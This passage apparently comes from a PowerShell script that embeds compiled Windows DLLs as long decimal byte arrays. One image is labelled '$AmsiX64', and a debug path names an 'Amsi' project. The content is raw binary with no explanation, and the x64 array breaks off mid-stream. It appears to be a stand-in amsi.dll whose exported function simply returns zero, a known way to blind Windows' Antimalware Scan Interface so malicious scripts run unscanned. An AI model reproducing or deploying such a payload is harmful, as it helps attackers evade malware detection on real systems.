137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77 240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255 117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93 195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10 232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51 201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110 116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0 128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69 212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80 6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137 61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69 220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137 3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131 207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51 0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85 244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48 0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200 32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20 48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255 37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0 16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76 32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87 0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33 0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78 29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4 0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120 32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46 114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0 124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0 112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115 115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0 0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0 0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36 0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101 116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109 109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110 105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 105 116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48 108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49 150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156 51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239 51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53 170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54 17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56 46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57 189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59 71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60 48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0 0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52 144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174 217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205 12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210 205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209 205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240 0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0 20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0 64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0 16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72 193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204 204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10 184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196 40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233 44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139 242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0 138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199 5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0 0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21 253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192 116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0 0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72 139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139 203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0 0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72 137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133 192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56 131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0 232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149 195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196 72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240 139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133 192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68 36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198 139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192 117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206 232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219 116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139 198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139 198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48 139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139 233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72 139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241 131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217 51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9 4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0 0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0 72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0 72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210 27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107 192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70 27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72 141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131 236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36 96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104 72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36 40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64 95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37 